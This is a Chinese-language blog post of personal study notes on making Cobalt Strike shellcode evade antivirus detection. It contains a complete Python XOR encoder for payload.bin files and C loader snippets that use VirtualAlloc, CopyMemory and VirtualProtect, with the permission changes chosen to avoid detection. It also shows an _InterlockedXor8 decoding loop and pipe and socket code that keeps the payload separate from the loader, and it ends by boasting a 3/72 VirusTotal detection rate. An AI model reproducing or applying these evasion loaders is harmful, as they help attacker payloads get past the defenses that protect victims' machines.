静态恶意代码逃逸1

静态恶意代码逃逸1

最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下

恶意代码与shellcode

Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode

CS生成的raw文件与C文件

在CS中,生成的Shellcode可以为raw文件和C文件
raw
C
在英文中,raw可以被译为 生的,未加工的,而CS生成出来的就是bin文件,故raw文件是可以直接进行字节操作读取的,因此加载到内存较为方便
而C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的

对于载荷的混淆

核心思想是将shellcode进行混淆,而这里我们使用的是XOR

1
new_shellcode = ord(old_shellcode) ^ key

这里贴一下大佬的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break

base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))

def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
main()

python3 .\xor_shellcoder.py -s .\payload.bin -d payload.c -n 10 -r out.bin

内存混淆加载

Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
而在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式有我们比较熟悉的malloc,new,而后续我们可能用到更多的是VirtualAlloc,其申请内存的单位为”页”

1
2
3
4
5
6
7
8
char * shellcode = (char *)VirtualAlloc(
NULL, //基址
shellcode_size, //大小
MEM_COMMIT, //内存页状态,申请新的内存,保留原来的块(只能在原来的块上提交)
PAGE_EXECUTE_READWRITE //可读可写可执行
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);

优化内存申请

在申请内存页时,将其权限更改,因为直接赋予一个新内存可读可写可执行时的权限时,很容易被杀软查杀,所以我们可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行

1
2
3
4
5
6
7
8
9
10
11
12
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);

优化混淆

我们之前在混淆Shellcode时,用到的是异或运算,常常杀软会对这种异或操作比较敏感,而在windows核心编程中,有相应的API可以直接使用,有InterlockedXorRelease该函数,可以直接用于两个值的异或运算

1
2
3
for(int i = 0;i<shellcode_size; i++){
_InterlockedXor8(buf+i,10);
}

分离免杀与管道通信

分离免杀指的是将恶意代码放置在程序本身之外的一种加载方式,这个很好理解,主要是管道通信,简单的解释是:通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节
但这么解释还是比较抽象
首先我们先考虑进程通信的目的

  • 数据传输:一个进程需要将它的数据发送给另一个进程
  • 资源共享:多个进程之间共享同样的资源。
  • 通知事件:一个进程需要向另一个或一组进程发送消息,通知它(它们)发生了某种事件(如进程终止时要通知父进程)。
  • 进程控制:有些进程希望完全控制另一个进程的执行(如Debug进程),此时控制进程希望能够拦截另一个进程的所有陷入和异常,并能够及时知道它的状态改变。

而管道则是管道是Unix中最古老的进程间通信的形式,我们把从一个进程连接到另一个进程的一个数据流称为一个“管道 ”

1
2
3
4
5
6
7
#include <unistd.h>
//功能:创建一个无名管道
//函数原型
int pipe(int fd[2]);
//参数
//fd:文件描述符数组,其中fd[0]表示读端, fd[1]表示写端
//返回值:成功返回0,失败返回-1

管道通信

因此,我们尝试使用管道通信,我们的目的主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程,下面分别为服务端与客户端,管道通信核心代码

1
2
3
4
5
6
7
8
9
void recv(){
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
}
1
2
3
4
5
6
7
8
9
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE| PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);

优化管道通信

在一个程序里同时启动两个管道通信端口进行传输,还是很容易被查杀,下面尝试用网络套接字(SOCKET)来进行通信,将两个管道通信端分开编译
服务端核心代码

1
2
3
4
5
6
7
8
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SOCKET sClient;
struct sockaddr_in s_client;
INT nAddrLen = sizeof(s_client);
SHORT sListenPort = 8888;
struct sockaddr_in sin;

客户端核心代码

1
2
3
4
5
6
7
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8888;
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");

在利用网络套接字的管道通信下分开编译,此时的免杀效果已经十分显著了,3/72
virustotal


静态恶意代码逃逸1
https://glacierrrr.online/2022/10/17/静态恶意代码逃逸/
作者
Glacier
发布于
2022年10月17日
许可协议